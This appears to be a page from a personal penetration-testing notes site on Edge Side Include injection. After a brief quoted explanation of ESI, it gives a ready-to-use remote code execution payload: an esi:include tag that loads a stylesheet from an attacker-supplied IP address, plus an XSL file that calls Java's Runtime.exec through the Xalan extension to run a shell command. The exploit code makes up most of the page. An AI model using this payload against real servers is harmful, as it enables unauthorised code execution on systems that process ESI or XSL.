xct's notes
Search…
ESI
"The ESI language is based on a small set of XML tags and is used in many popular HTTP surrogate solutions to tackle performance issues by enabling heavy caching of Web content. ESI tags are used to instruct a reverse-proxy (or a caching server) to fetch more information about a web page for which a template is already cached. This information may come from another server before serving it to the client. This allows fully cached pages to include dynamic content." (https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/)

RCE via XSL

1
<esi:include src="http://<ip>/" stylesheet="http://<ip>/esi.xsl"></esi:include>
Copied!
1
<?xml version="1.0" ?>
2
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
3
<xsl:output method="xml" omit-xml-declaration="yes"/>
4
<xsl:template match="/"
5
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
6
xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime">
7
<root>
8
<xsl:variable name="cmd"><![CDATA[touch xct]]></xsl:variable>
9
<xsl:variable name="rtObj" select="rt:getRuntime()"/>
10
<xsl:variable name="process" select="rt:exec($rtObj, $cmd)"/>
11
Process: <xsl:value-of select="$process"/>
12
Command: <xsl:value-of select="$cmd"/>
13
</root>
14
</xsl:template>
15
</xsl:stylesheet>
Copied!
Last modified 1yr ago
Copy link
Contents
RCE via XSL